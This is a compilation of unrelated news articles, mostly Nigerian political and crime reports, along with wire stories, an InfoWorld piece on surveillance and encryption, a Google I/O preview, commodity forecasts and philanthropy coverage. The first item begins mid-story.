Security aides attached to the convoy of Ekpendu allegedly descended on her and slapped her for overtaking the convoy of the CG.

The CG was said to have visited the National Assembly and was driving out of the legislative building when the beating took place.

Lawmakers claimed that Ekpendu, a very senior government official, merely sat in his car and watched as his aides pummelled the female member. They alleged that he did nothing to stop his aides.

A motion on the incident, which was moved by the Minority Leader of the House, Mr. Leo Ogor, was unanimously endorsed by members at Thursdays session, presided over by the Speaker, Mr. Yakubu Dogara.

The House noted, The member was battered under the watch of the CG of Prisons. Her offence was that she overtook the convoy of the CG within the premises of the National Assembly.

The CG of Prisons is invited to explain why he should not be committed to prison in violation of Section 16 of the Legislative Houses, Powers and Privileges Act.

The law stipulates a penalty of N400,000 fine or a prison term of six months on conviction for an attack on a legislator within the premises of a legislative house.

The resolution was later amended to include Danbazzau, who was asked to appear before the House Committee on Interior.

The Ministry of Interior supervises the Nigerian Prisons Service.

The committee, which is chaired by an All Progressives Congress lawmaker from Kaduna State, Mr. Adams Jagaba, is to produce a report on Tuesday next week.

The House Leader, Mr. Femi Gbajabiamila, while contributing to the debate, informed the House that Mrukpor called him immediately the alleged assault took place to make a report.

She called me and she was crying. I have not seen a thing like this before.

This is the time we need to rally behind her not just as a member but as a woman.

This is a clear, straight case; that the attacker is guilty of assault. He is guilty of battery. There is vicarious liability in this case, Gbajabiamila added.

In addition to Danbazzau and Ekpendu, the House summoned the unit heads of all security agencies posted to the National Assembly to explain the conduct of their men, who reportedly watched as the member was attacked without intervening.

Source:Punch
The House of Representatives Adhoc Committee on the Kogi State Assembly Crisis on Thursday grilled the Inspector-General of Police, Solomon Arase, over the re-opening of the House of Assembly complex.

The House had through a resolution directed Mr. Arase to seal off the Kogi Assembly until a peaceful resolution of the crisis that trailed the impeachment of Speaker Lawal Momoh-Jimoh was reached.

Mr. Jimoh was on February 16 impeached by five out of 20 lawmakers, who subsequently chose Umar Imam as the new speaker.

Following the National Assemblys directive, the five members, who allegedly impeached the speaker, convened and conducted legislative activities within the chamber in disregard of its resolution.

The committee, chaired by the Majority Leader, Femi Gbajabiamila, however described the failure of the police boss to comply with the resolution as breach of the Nigerian Constitution and undue interference on the activities of the legislature.

Mr. Gbajabiamila also decried the absence of Abubakar Malami, the Attorney General of the Federation, at the meeting.

The committee, however, resolved that the AGF should appear in person on Monday, April 22, by 2 p.m.

Speaking on the outcome of the investigative hearing conducted behind closed door, Mr. Gbajabiamila said It was straight to the point; all the House wanted to know was why the resolution of the NASS was disobeyed.

And also why the State Assembly was reopened.

The IG gave his explanation, saying he had sought the advice of the Attorney General and the Attorney General gave him his advice.

I think we are making good steady progress and I think we would put this matter to a conclusion next week, he said.

While reacting to inquiry on whether the inspector-general was going to close down the Assembly, the majority leader said We are not there yet, as you know the hearing is a process.

This is the first day and there are several sides to it. We have taken the deposition of the IG, the Attorney General will be with us on Monday.

The resolution of the House was not to go back to status quo. The resolution of the House was to conduct a hearing to find out why it hasnt happened and we are getting there, he said.

Also speaking after the meeting, Mr. Arase apologised to the leadership of the House, pledged allegiance to the Presidency, explaining that he solicited the advice of the AGF mainly on administrative issues.

Mr. Arase, who spoke at the end of the public hearing, assured that the matter would be addressed.

He blamed the misunderstanding on what he called breakdown in communication.

It went very well; we were able to understand ourselves that there was a communication breakdown. I wouldnt do anything to breach the constitution.

I am a law abiding officer. I am sworn to the constitution to obey the constitution. There was a break down somewhere but we will resolve it, Mr. Arase said.

(NAN)
The Accountant-General of the Federation (AGF), Ahmed Idris, has said President Muhammadu Buharis directive that federal workers be paid on 25 of every month is hampered by lack of cash.

A statement by the Deputy Director of Press, Mrs Kene Offie, in the Office of the Accountant General of the Federation (OAGF), reads: There is an instruction from Mr. President that workers be paid on or before 24 or 25, but compliance has been hampered by the limited resources available to government, which can only be determined after the monthly FAAC (Federation Account Allocation Committee) meeting.

FAAC usually meets between 20 and 25 of every month.

The AGF said: The Federal Government is working out modalities to ensure that Federal Government workers are paid early, in line with the directive of Mr. President.

According to Mr. Idris, the Federal Government took steps to make provision to accommodate salary payment even before FAAC, stating that this would be given a test this month.

He also promised that his office would ensure that it complies with the presidential directive to pay salaries on or before 24 or 25.

On the over N2.7 trillion recovered on the Treasury Single Account (TSA) platform, the AGF said it belongs to Ministries, Department and Agencies (MDA) and not for sharing or for any other purposes as reported in some quarters.

The TSA has helped government to have a firm and full control of its resources, blocking leakages, helping it to reduce the cost of borrowing and to monitor spending in the MDAs, he added.
A resident of an apartment building in Colombia was recorded climbing out of his 13th story balcony to rescue a dog dangling from a ledge. The video, recorded from a neighboring apartment, shows Diego Andres Davila Jimenez climbing out from his 13th floor apartment to reach the dog, Luna, which was dangling from his upstairs neighbors balcony.

Jimenez said Luna had somehow squeezed through the balcony bars and was hanging by her back legs. People on the ground were screaming. They had a mattress out just in case, Jimenez told The Dodo. The truth is, I did not think about the dire consequences. I did not look down. Jimenez said he realized how dangerous the rescue was after he was safely on his neighbors balcony with Luna.

When I had Luna in my hands and looked down, a thousand thoughts flew through my mind, he said. My girlfriend was a little upset, yelling at me, You stay there! Do not climb back down!' The rescuer said he waited on the balcony for about an hour until his neighbor came home. She was in tears. She is very grateful, because she just adores that dog, Jimenez said. However, he said not everyone was a fan of his high-altitude actions. I received a lot of scolding from my mother, he said.

UPI.
The suspect identified as Alex Onuora, reportedly stabbed the twin brothers, killing one and leaving the other critically wounded as their younger sister refused to have an affair with him. News reports have revealed that the police at Ikotun division are making efforts to arrest a man for allegedly stabbing twin brothers after their sister had spurned his advances. The suspect identified as Alex Onuora, reportedly stabbed the twin brothers, killing one and leaving the other critically wounded their younger sister refused to have an affair with him.

9jaflaver reports that one of the twins had died on the spot while the other has been hospitalised at a hospital in Lagos state. One of the twin victims who had bled to death has been identified as Elvis Mekwa, a Mass communication undergraduate at National Open University of Nigeria, while his twin brother is known as Kene. The duo had reportedly suffered their fate after engaging Onuora and his friend identified simply as, Alia in a fight over their younger sister.

The incident is reported to have taken place in front of a hotel owned by the wife of a popular musician, Segun Adewale which is located at Liasu road at council bus stop in Ikotun area of Lagos. The suspect had allegedly stabbed Elvis with a broken bottle, on the neck causing him to bleed to death, while Kene who had suffered several stab wounds was reportedly rushed to a hospital where doctors are now battling to save his life. It was reports that the scuffles had ensued after their sister had rebuffed an approach by Onuora and Alia who had been trying to lure her into the hotel where they had been drinking, in order to have $xx with her.

Onuora had reportedly assaulted the girl who had gone home to report the issue to her older twin brothers on that fateful evening. Elvis and Kene had later approached Onuora to know why he assaulted their sister, which had led to exchange of heated words and the ensuing fight. The suspect had taken bottles from the hotel which he broke and used to stab the victims. Correspondents report that the parents of the twins living at no. 5 Olalekan Adekoye street opposite the hotel, off Liasu road in Ikotun, had confirmed the matter but declined speaking on it. Upon a visit to Onuoras residence at 51 Olalekan Adekoye street, his neighbours had revealed that he had fled after the incident.
Punch

The West African Examinations Council says it will stop amending the date of birth and other entries on the certificate of candidates from January 1, 2017.

Vanguard

No fewer than seven persons sustained various degrees of injuries yesterday at Obosi community in Idemili North Local Government Area of Anambra state when some suspected cultists attacked various parts of the community.

Thisday

The Finance Minister, Mrs. Kemi Adeosun has said that the federal government would not make deductions from states Federation Account allocations for the month of March on their restructured loans so as to allow them pay their workers salarie

The Sun

BARRING any last minute change of plan, a re-jig would soon be announced in the Senate and some principal officers, especially members of the All Progressives Congress (APC), would vacate their positions.

Daily Times

A Dutse Grade 1 Area Court in Abuja on Thursday sentenced three men, Peter Ogu, 30; Isa Danjuma, 25 and Abubakar Danjuma, 25, to seven months imprisonment for offering gratification to a police officer.

Daily Trust

A witness has told the Kogi State Governorship Election Petitions Tribunal in Abuja, that James Faleke did not withdraw his nomination as running mate in the December 5 governorship rerun election in the state.

Leadership

The long arm of the Economic and Financial Crimes Commission, EFCC, has caught up with a suspected fraudster, Abdullahi Usman Adamu, a former governorship candidate in Bauchi State and managing director, Guroje Mining Company Limited.

The Nation

A 60-year-old woman, Asabi Adebayo, has been arrested by the police in Oyo State for allegedly buying five babies at N5million from Port-Harcourt, Rivers State.

Tribune

Osun State chapter of the Peoples Democratic Party (PDP), on Thursday, cautioned President Muhammadu Buhari against considering the request for fresh bailout by Osun State government.

New Telegraph

There was a mild drama yesterday at the Code of Conduct Tribunal (CCT) sitting in Abuja. The chairman, Danladi Umar, ordered a counsel to the Senate President, Bukola Saraki, Raphael Oluyede, out of the courtroom
The Nigeria Labour Congress, NLC, has assured the Economic and Financial Crimes Commission, EFCC, of its support in the fight against economic and financial crimes.

The NLC President, Comrade Ayuba Wabba, gave the assurance when he led some members of the union on a solidarity visit to the Acting Chairman of the EFCC, Ibrahim Magu, in Abuja.

A statement by the Head, Media and Publicity unit of the EFCC, Wilson Uwujaren yesterday, said Wabba stressed the importance of having a united front in confronting corruption.

Corruption is a monster that has done more harm to our country than any other thing, because it is the cause of the crises in the various sectors of Nigeria be it power, health or housing, he said.

While noting that the NLC had in the past shown support for the agency, Mr. Wabba stressed that more than ever before, there was a need to renew such affiliationand unity, because corruption is now fighting back.

We have a situation where people who have stolen from the Commonwealth and are being prosecuted in court, go to their villages to hire people that they take to court to protest on their behalf, just because they have the resources at their disposal, he said.

Such a scenario, according to him, necessitated the need to re-energize the NLCs partnership with the EFCC, as a collective effort was now essential.

Weve partnered in the past, but now we have more civil servants who are willing to be whistle blowers to provide information for the EFCC, he said, adding that the union was also working to galvanize other civil society organizations to assist the agency expand its anti-corruption crusade to the grassroots.

In his remarks, Mr. Magu assured the delegation that the agency was resolute in carrying out its mandate.

The negative impact of corruption affects the whole country, including our children and the unborn generation, and so we need your support more than ever before, he said.

Corruption, according to Mr. Magu, was fighting back, as many of those being prosecuted for corrupt practices had the wealth to throw about.

He, however, stressed the resolve of the Commission to remain steadfast in executing the war against corruption.

All of us have the duty to kill corruption, he said.

Others on the Mr. Wabba entourage included Benson Upah, and Nuhu Toro.
The Nigerian National Petroleum Corporation, NNPC, has described as completely false, a widely circulated report that its Group Managing Director, Ibe Kachikwu, has been sacked by President Muhammadu Buhari.

The NNPC said Kachikwu, who doubles as the Minister of State for Petroleum, is still in office discharging the duties assigned to him by the president.

There were unconfirmed reports on the internet on Thursday that the NNPC chief has been relieved of his duties.

The report, which did not cite any official sources, also said Mr. Buhari had named Maikanti Baru, NNPC Group Executive Director, as Kachikwus replacement.

This report was however, dismissed as completely false by the Group General Manager, Public Affairs Division of the NNPC, Garba-deen Mohammed.

The story is completely false. It should be ignored by all Nigerians, Mr. Mohammed said in a telephone interview with PREMIUM TIMES on Thursday evening.

According to the NNPC spokesman, The minister is currently in his office and has continued to function in the roles assigned to him by the president.
The Oyo State Police Command has arrested a 60-year-old woman, Asabi Adebayo, for allegedly buying five babies at N1 million each from Port-Harcourt, Rivers State.

The police said Adebayo planned to travel abroad with the babies to resell them but ran out of luck when she brought them to an orphanage in Ibadan, the Oyo State capital, to obtain a certified police report for them.

Parading the suspect and the babies yesterday at the Eleyele Police Headquarters, the Commissioner of Police, Leye Oyebade, said the woman would have succeeded in her plan if not for the patriotic action of the officials of the orphanage, who alerted the police at the Iyaganku Police Station.

The suspect, who said she hailed from Lagos State, also holds a British passport.

The ages of the babies, (two boys and three girls) range from two years, eight months, seven months, six months and four months.

The babies have been transferred to the State Ministry of Women Affairs, Child Welfare while the suspect is assisting the police in their investigation.

Mr. Oyebade said officers, who accompanied the suspect to Port-Harcourt, where she claimed to have bought the babies, have not been able to apprehend the sellers.

The Divisional Police Officer (DPO) in Iyaganku, Mr Ojopagogo, said: A woman, who operates an orphanage came to our station last Thursday and reported to us that a 60-year-old woman came to them that she had five children and that she needed police report for the children to be flown abroad .

Our detectives, led by a Superintendent of Police (SP) from the Juvenile Welfare Section, went to arrest the suspect.

After her arrest, the suspect told us that she got the children for N5million and that she bought the children from a woman in Port-Harcourt. We travelled with the suspect to Port-Harcourt, unfortunately we could not find the woman.
The Senate President, Dr. Bukola Saraki, has asked the National Assembly Service Commission, NASC, to reverse the appointment of Mohammed Sani-Omolori, as the Clerk to the Assembly, to allow further consultations.

The Executive Chairman of the NASC, Amadu Fika, in a letter on Wednesday, announced the appointment of Mr. Sani-Omolori as the acting Clerk to the National Assembly.

Sani-Omolori was until his appointment, the Clerk of the House of Representatives.

However, in an April 21 letter by his Chief of Staff, Isa Galaudu, to Mr. Fika, the Senate president, who is the chairman of the National Assembly, said the appointment did not follow due process.

Saraki argued that the Commission should have first considered Ben Efeturi, who is currently the deputy clerk to the National Assembly, for the position to replace Salisu Maikasuwa, who is due for retirement from the public service.

The letter said, The President of the Senate and the Speaker of the House of Representatives were informed that Mr. Efeturi was not considered for the appointment because he was not duly appointed as Deputy Clerk of the National Assembly.

On further enquiry, we found he was duly appointed by the National Assembly Service Commission vide Extract from Minutes of its 403rd Meeting held on Friday, 21st November, 2014.

From the foregoing, you have misled and misinformed the President of the Senate and Speaker of the House of Representatives.

Consequently, I am directed by His Excellency, the Senate President, to inform you that the letter appointing Mr Sani Omolori as Acting Clerk of the National Assembly, be withdrawn immediately for further consultations.
The United Nations has started evacuating hundreds of people from besieged Syrian towns in a rare sign of humanitarian progress that came as tens of thousands of civilians fled fresh fighting. Safe passage was secured for those in need of medical attention from four towns on Wednesday  a complex mission as a strained ceasefire appeared to buckle further.

Spokesman Stephane Dujarric said plans were afoot to evacuate about 500 people, including the sick and wounded along with their family members from the four towns. People were evacuated from the rebel-held towns of Zabadani and Madaya near Damascus, and the government-held towns of Foua and Kefraya in northwest Idlib province. On the outskirts of Madaya, where dozens of residents starved to death last year, seven large white buses were used to take the people out.

Dozens of men, women and children got out of the bus and were checked by security officials before boarding once more, the AFP news agency reported. Al Jazeeras Andrew Simmons, reporting from the Turkish city of Gaziantep close to the Syrian border, said a convoy came under fire while carrying out the operation. Whether the attacks were directly aimed at the convoy carrying people from Madaya is unclear, he said.

People from Zabadani and Madaya are mostly civilians, but there are also 25 soldiers being carried to safer areas in the country. In a separate statement on Wednesday, the UN said at least 40,000 Syrians had fled fighting near Aleppo, a northern city, in recent days as the government pressed an offensive against the opposition despite the truce.
On this day in 2009: Seven high-ranking officials from the Electricity Regulatory Commission in Nigeria were charged with criminal diversion of state funds. The Economic and Financial Crimes Commission (EFCC) accused the Chairman, Ransome Owan and six of the agencys commissioners of diverting about five billion naira ($33 million/26 million euros) for their private use.

Also on this day in 2013: The Nigerian Communications Commission started a number exchange between the countrys four main carriers, allowing customers to keep their number and switch carriers every 90 days for free.

On this day in 2000: In Rwanda Paul Kagame became president and appealed for an end to ethnic strife.

Paul Kagame is the sixth and current President of Rwanda having taken office in 2000 when his predecessor, Pasteur Bizimungu, resigned. Kagame previously commanded the rebel force that ended the 1994 Rwandan Genocide. He was considered Rwandas de facto leader when he served as Vice President and Minister of Defence from 1994 to 2000

Equally on this day in 2003: In Senegal nearly a million people traveled to Touba, the hometown of 19th-century religious leader Sheikh Ahmadou Bamba. For Fear over his growing influence, the French exiled Bamba in 1895 to their other colonial holdings in West Africa. Bamba returned to Touba in 1902 to launch and guide one of Senegals main Muslim brotherhoods, the Mourides, until his death in 1927.
United States government said, yesterday, that it provided Nigeria every information and intelligence needed to rescue the over 200 missing girls abducted from Government Secondary School, Chibok, Borno State on April 14, 2014.

The US government spoke through its Permanent Representative to the United Nations, Samantha Jane Power.

Fielding questions from State House Correspondents after a private meeting with President Muhammadu Buhari, Power, who was on a tour of the troubled spots in the North East of Nigeria, Cameroon and Chad, stated that the US would not rest until the girls were rescued.

Power added that the recent video was actually a proof that the girls were still alive and to essentially enable the families of the girls engage with the government.

The issue of the Chibok girls and other adaptations is of huge priority to the U.S. And it was the issue I discussed at length with President Buhari today, Power said.

We had moved to provide the information and intelligence needed to the Nigerian authorities. We have in recent months been able to allocate additional information sharing platforms and additional surveillance to aid the fight against Boko Haram.

We will not rest. We will continue to deepen our partnership and be more effective without partners on the ground.

We are determined to support Nigeria and other neighboring countries efforts to secure more rescues of abducted people and releases in the days and weeks ahead.

What we talked about was the importance of pursuing every need related to the Chibok girls and making sure we have a mechanism whereby parents and family members who have been abducted by Boko Haram can be given information, whereby videos can be examined and family members offer their feedbacks on their impression on the videos to have a process by which family of those who are missing work more constructively with the government and, indeed, with those involved in the operations in trying to rescue the girls.

So that was the nature of our discussion with the President. The recent video was one part of our discussion and the larger puzzle that we need to be unraveled, Power said.

Meanwhile, the federal government has reiterated its commitment to finding the girls, saying it remained its priority.
The United States will deter and confront aggression against Gulf Arab countries, which continue to have concerns about threats from Iran, President Barack Obama said after meeting their leaders to iron out strains in their alliance.

I reaffirmed the policy of the United States to use all elements of our power to secure our core interests in the Gulf region and to deter and confront external aggression against our allies and our partners, Obama said in Riyadh on Thursday after the summit with the Gulf Cooperation Council (GCC).

Even with the nuclear deal we recognise collectively that we continue to have serious concerns about Iranian behaviour, he said. There was no denying the strains that have afflicted ties between Washington and its Gulf partners, though they have continued to work together on shared concerns such as the wars in Syria, Iraq and Yemen.

What is true between the United States and the GCC, as is true with all of our allies and friends is that at any point of time, there are going to be differences, Obama said. The GCC states believe the US has pulled back from the region during Obamas presidency, giving more space to Iran. They were also upset by Obamas remarks in a magazine interview that appeared to cast them as free-riders in US security efforts and urged them to share the region with Tehran.
The evidence keeps mounting that the privacy of our mobile devices and our communications are under siege -- if not outright moribund. This series of onslaughts is coming from hackers, data mining companies, and especially, it seems, from our own government.

The Electronic Frontier Foundation, in an attempt to chip away at the continued intransparency that cloaks government snooping on U.S. citizens, sued the Justice Department this week. The group has been trying for more than a year to find out whether the government uses secret court orders to force companies like Apple and Google to assist it in carrying out surveillance. But its Freedom of Information Act (FOIA) requests have been rebuffed.

[ Safeguard your browsers; InfoWorld's experts tell you how in the "Web Browser Security Deep Dive" PDF guide. | Cut to the key news in technology trends and IT breakthroughs with the InfoWorld Daily newsletter, our summary of the top tech happenings. ]

The EFF charges that the department has failed to turn over opinions from the Foreign Intelligence Surveillance Court (FISC) -- which operates mostly in secret and grants nearly all of the surveillance requests it receives -- even after they were declassified as part of surveillance reforms enacted in the USA Freedom Act.

Reports have circulated that the government has used FISC orders to force tech companies to decrypt users' communications and turn over source code so that government agents can find and exploit security vulnerabilities.

"The public has a right to know about those secret demands to compromise people's phones and computers," said EFF Senior Staff Attorney Nate Cardozo. "The government should not be able to conscript private companies into weakening the security of these devices, particularly via secret court orders."

Microsoft would agree. The company has been waging a drawn-out battle with the U.S. government over its desire to access customer data held in overseas data centers. And last week, Microsoft filed its own lawsuit over secret orders that prevent it from notifying customers when the government requests access to their data. The gag order violates customers' Fourth Amendment right to know if the government searches or seizes their property and violates Microsoft's First Amendment right to free speech, the suit alleges.

Tech companies have a long history of providing the government whatever it requests. Now reports from companies like Apple, Facebook, and Google about the data requests they are allowed to disclose show the number of these requests is exploding. Most are still granted, but companies are beginning to balk as they're asked more and more to function as deputy police.

Apple, with support from tech giants Facebook, Google, and Microsoft, drew a line in the sand in its very high-profile showdown with the FBI over the San Bernardino terrorist's iPhone. Apple had unlocked phones for authorities at least 70 times since 2008, but apparently enough was enough now that security is a selling point of newer devices. Apple is still fighting a dozen other requests to break into locked iPhones.

It's not as if law enforcement doesn't already have access to a barge load of data on every one of us. How exposed are we? Last weekend's "60 Minutes" report on phone hacking was a rude awakening for many. Hackers demonstrated how security flaws in the network interchange service called Signaling System No. 7 (SS7) make it possible to remotely spy on anyone with a phone. All they needed was the cellphone's number in order to read texts (encrypted messaging services like WhatsApp are unaffected), listen to and record calls, and track phone users' locations.

California Congressman Ted Lieu, whose phone was hacked in the demonstration, told "60 Minutes" that "the vulnerability has serious ramifications not only for individual privacy, but also for American innovation, competitiveness and national security. Many innovations in digital security -- such as multifactor authentication using text messages -- may be rendered useless."

The vulnerability of SS7 is an open secret -- hackers first exposed the flaw in 2014 -- but it has never been fixed because security services like the NSA find it so useful for tracking and snooping on users.

Now Congress is prepared to go a step further to ensure the insecurity of our devices. Legislators have put forward a bill that would compel companies like Apple to break their own encryption -- a move that security experts argue is nothing more than legalizing backdoors into our devices to expose the wealth of sensitive data they contain.

To date, more than 65,000 people have signed a petition protesting the legislation. Now a coalition of four technology groups representing companies like Apple, Microsoft, Google, Facebook, Twitter, Amazon, Netflix, Samsung, and others has released a letter calling the proposal "unworkable."

"Any mandatory decryption requirement, such as that included in the discussion draft of the bill that you authored, will to lead to unintended consequences," the letter states. "We believe it is critical to the safety of the nation's, and the world's, information technology infrastructure for us all to avoid actions that will create government-mandated security vulnerabilities in our encryption systems."

Hacker John Hering told "60 Minutes": "We live in a world where we cannot trust the technology that we use."

Apparently our government likes it that way. It's sad, InfoWorld's Galen Gruman writes, "that corporations -- not the populace or their elected representatives -- have taken on that role" of defending us from these attacks on our security and privacy. Oh brave new world.
Google's upcoming developer conference will feature a familiar theme: mobile.

A surprise to no one, Android will be a principal topic at the Google I/O event being held May 18 to 20. The conference will shine a light on new features in the mobile platform as well as capabilities for battery optimization, image loading, sensors, and automobiles.

[ Android is now ready for real usage in the enterprise. Read InfoWorld's in-depth guide on how to make Android a serious part of your business. | Get the best office apps for your Android device. ]

A review of sessions planned for Google I/O reveals topics, including Progressive Web Apps, in which Google and Mozilla are looking to refine the Web app experience on devices, and Project Tango, for the development of 3D-capable mobile devices.

First and foremost, though, developers will get a saturation of Android content. "Come to this session to find out about new developer features in the platform. APIs, functionality, performance -- it's all here, reads one session's description. Another session, Making Android sensors and location work for you," will feature a deep dive into Google's location engine. Yet another will cover optimizations for battery and memory consumption. "No one likes battery-draining apps or sluggish experience on their device, the description says. "We will go over new platform features aimed at optimizing battery and memory consumption such as Doze and the new background optimizations in the N release

Android Runtime (ART) improvements will be focused on in another session, which will emphasize strategies for boosting performance and minimizing update times and disk usage. "We will be talking about the new exciting Hybrid JIT-AOT approach, profile guided compilation, the new compiler and application images." Android's application architecture, development tools, themes, and styles will be covered as well.

Details on the Android Auto platform will be aired at I/O. "Android Auto brings Android into the car and offers new opportunities for developers to reach users during the valuable hours they spend each week driving," according to the session description. "In this talk, you'll learn about APIs that allow developers to enable existing applications for the Android Auto platform and reach more users in the car."

Developers will also get the lowdown on building Progressive Web Apps. "We'll cover how we built a real, scalable, offline-first Web app powered by Polymer, Web components, service workers, notifications, Google Signin, Firebase, new browser APIs, and more." Additionally, Google will cover the tools and libraries built for Progressive Web Apps.

Project Tango, meanwhile, will be covered from gaming, Android, and Area Learning perspectives. "With Area Learning, Project Tango can not only see the space around you, but it can also remember the space around you. This opens up a new range of possibilities for Project Tango developers," a session description reads.

Google's V8 JavaScript engine will be detailed, with a focus on speed, ECMAScript 2015 enhancements, and capabilities based on the WebAssembly runtime for executing C/C++ code. The Nearby project will also receive attention. "Nearby brings awareness of close-by smartphones, devices, and beacons to your app, using a combination of Bluetooth, Wi-Fi, and ultrasound."

Google also will feature its first-ever "Google Play" awards at Google IO, which will recognize the best apps and games.

Google is holding the I/O conference at an amphitheater within walking distance of its Silicon Valley headquarters; in previous years it was held in downtown San Francisco.
Lean Hogs Weekly Forecast Kolhanov.com - Sun Oct 23, 3:11PM CDT The uptrend may be expected to continue, while market is trading above support level 89.150, which will be followed by reaching resistance level 93.025.

Feeder Cattle Weekly Forecast Kolhanov.com - Sun Oct 23, 3:10PM CDT The uptrend may be expected to continue, while market is trading above support level 178.550, which will be followed by reaching resistance level 183.550 and 188.250.

Live Cattle Weekly Forecast Kolhanov.com - Sun Oct 23, 3:09PM CDT The uptrend may be expected to continue, while market is trading above support level 151.775, which will be followed by reaching resistance level 156.475.

Soybean Oil Weekly Forecast Kolhanov.com - Sun Oct 23, 3:08PM CDT The downtrend may be expected to continue, while market is trading below resistance level 73.75, which will be followed by reaching support level 68.16 and if it keeps on moving down below that level,...

Soybean Meal Weekly Forecast Kolhanov.com - Sun Oct 23, 3:07PM CDT The downtrend may be expected to continue, while market is trading below resistance level 419.1, which will be followed by reaching support level 398.8.

Soybean Weekly Forecast Kolhanov.com - Sun Oct 23, 3:06PM CDT An downtrend will start as soon, as the market drops below support level 1356, which will be followed by moving down to support level 1315.6.

Corn Weekly Forecast Kolhanov.com - Sun Oct 23, 3:05PM CDT The uptrend may be expected to continue, while market is trading above support level 680, which will be followed by reaching resistance level 698.6 and if it keeps on moving up above that level, we may...

Wheat Weekly Forecast Kolhanov.com - Sun Oct 23, 3:04PM CDT The downtrend may be expected to continue in case the market drops below support level 832.6, which will be followed by reaching support level 791.2.

Natural gas Weekly Forecast Kolhanov.com - Sun Oct 23, 3:03PM CDT The downtrend may be expected to continue in case the market drops below support level 4.980, which will be followed by reaching support level 4.459 and 3.876
Last year, we touched on a few things that the Nonprofit Finance Fund was doing in Los Angeles, including using healthy food programs to create positive change in neighborhoods. To refresh your memory, the Nonprofit Finance Fund (NFF) is a community development financial institution with over $300 million in assets and a whole lot going on lately.

Related: Another Growing Hot Spot for Impact Investing: Healthier Food

Recently, NFF made another big Los Angeles commitment that focuses on the problem of homelessness. This time, $8.35 million is going to L.A. Family Housing for the construction of a new campus that offers a range of services to homeless Angelenos.

Los Angeles has often been referred to as the homeless capital of the United States, with an estimated 50,000 homeless people living in Los Angeles County. But it's also ground zero of innovative efforts to combat homelessness, and the Conrad N. Hilton Foundation is a particularly important player in this regard.

Related: Hiltons Homelessness Strategy Takes a Turn: Whats Coming Next?

One thing local funders understand is that housing problems are just a start in grappling with homelessness. This challenge is closely entwined with other issues, too, including access to employment, quality mental healthcare, legal services and transportation.

Which explains why NFF is backing a broad approach to meet a number of these needs in one place. As L.A. Family Housing President and CEO Stephanie Klasky-Gamer said in a press release: "Our homeless neighbors are best served when supportive services, healthcare and housing are integrated, providing permanent solutions to end homelessness in their lives." That's the vision of the group's campus development, which Klasky-Gamer describes as "a regional hub that will serve thousands." NFF has stepped in with financing at a key critical moment to move the project forward.

The fight against homelessness in Los Angeles involves nearly every financing tool you can think of, public and private. Government, foundations, and nonprofits are working closely in this area, and business is involved, too. Money for the campus project is coming from public grants, private donations, low-income housing tax credits, and new markets tax credits. Other lenders include Genesis L.A. and Dignity Health.

The 33-year-old L.A. Family Housing is the largest provider of housing and homeless services in the San Fernando Valley. The nonprofit runs and provides services at three shelters and 19 permanent affordable apartment buildings. The new 80,000-square-foot L.A. Family Housing complex is expected to be complete by late 2017 and serve over 6,000 clients each year.

NFF is based in New York, but works in a number of cities. NFFs community development clients are typically affordable housing advocates, social enterprises, urban revitalization organizations and job training programs.

See more articles by Alyssa Ochs.
While the expected demise of coal has environmentalists rejoicing, what happens to the communities that depend on the industry? Nationwide, energy politics thrives on endless debate between environment and jobs, but in Appalachia, those questions determine the fate of an entire region.

Over the past decade, coals share of total U.S. electric power generation has fallen precipitously, and gross earnings by coal mining firms have joined the plunge. With hundreds of coal plants shuttered or scheduled for retirement over the past few years alone, the future of coal country seems grim. Who's watching out for the people are being hit hard by this shift? And what's philanthropy's role?

Late last year, the Obama administration softened the blow of its hotly debated Clean Power Plan (which is still under review) with a series of economic revitalization grants. Those resources, which benefited towns and nonprofits throughout the region, are only the tip of the federal iceberg. As part of FY 2016s budget, the POWER+ initiative promises to invest roughly $10 billion into a set of coal country goals including economic diversification, environmental clean-up, health, and retirement security for workers.

Philanthropy can't match the governments numbers, but Appalachias troubles have prompted activity from foundations. Previous coverage in IP highlighted Appalachian Community Capital, a collaborative effort between private and nonprofit actors to invest in the region. Its funders include the Calvert Foundation, which raised over $15 million to support Appalachian small business, and the Ford Foundation.

Another foundation that invested in Appalachian Community Capital is the Mary Reynolds Babcock Foundation (MRBF), based in North Carolina. MRBF supports anti-poverty efforts in the southeastern United States, using grantmaking and mission-oriented investing to advance its aims. The foundations Appalachian grantmaking (much of it in the low six figures) centers on a collection of region-specific funds and nonprofit networks devoted to economic stability and family security.

One of them, the Appalachia Funders Network, gathers 80 public and private grantmakers to invest in the region and increase national interest in doing so. Another effort, the Just Transition Fund, is led by Appalachia Funders Network and the Rockefeller Family Fund. This fund appears to be a grantmaking project that helps community organizations in the region take advantage of federal funding through the POWER+ program.

As an interesting (some would say ironic) side note, the Rockefeller Family Fund recently decided to divest from fossil fuels. It has been a prominent player in the Appalachian space.

In each case, were seeing public and private actors working together to funnel resources toward the problem. The issue, in this case, appears to be one of scale. Federal resources through POWER+ dwarf private funding, and everyone involved is scrambling to make use of the infusion of cash. But federal funding often comes with many restrictions and is not so nimble.

We'll be watching how efforts like the Appalachia Funders Network play out, and what difference they make in a region that was struggling even before the coal industry began its latest dive.

See more articles by Philip Rojc.
Don't let its nondescript name fool you. United States Artists (USA) is the Traveling Wilburys of the philanthropic art world.

The Traveling Wilburys, of course, were the late '80s supergroup consisting of Bob Dylan, George Harrison, Jeff Lynne, Roy Orbison and Tom Petty. USA boasts a similarly impressive lineupa who's who of heavy hitters, including the Ford, Rockefeller, Rasmuson and Prudential Foundations, which founded the nonprofit organization in 2006 with $22 million in seed funding.

Since its inception, USA has awarded more than $21 million to almost 450 artists through $50,000 annual fellowships in the fields of architecture and design, crafts, dance, literature, media, music, theater and performance, traditional arts, and visual arts.

Now, imagine if, say, Neil Young made a cameo with the Traveling Wilburys. That would have been really cool, right? Well, USA announced a similar development in in mid-April: the John S. and James L. Knight Foundation pledged $1 million to a new $20 million operations endowment campaign.

Knight's contribution shouldn't come as much of a surprise. The grantmaker has worked with USA since 2009, when Knight began sponsoring the groups fellowships granted to artists who lived in the 26 cities where the Knight brothers once owned newspapers.

Another $10 million infusion will come from Ford, plus $1 million from the Rockefeller and the Doris Duke Charitable Foundation, considered by most objective observers to be, let's say, the Tom Petty of the band. Add it all up and the campaign has raised $16.6 million thus far.

The money will serve as an operational endowment to support United States Artists staffing, conferences and the cultivation of nominators and the administration of grants, among other things. It will cover everything except the grants to the artists themselves, which are financed separately.

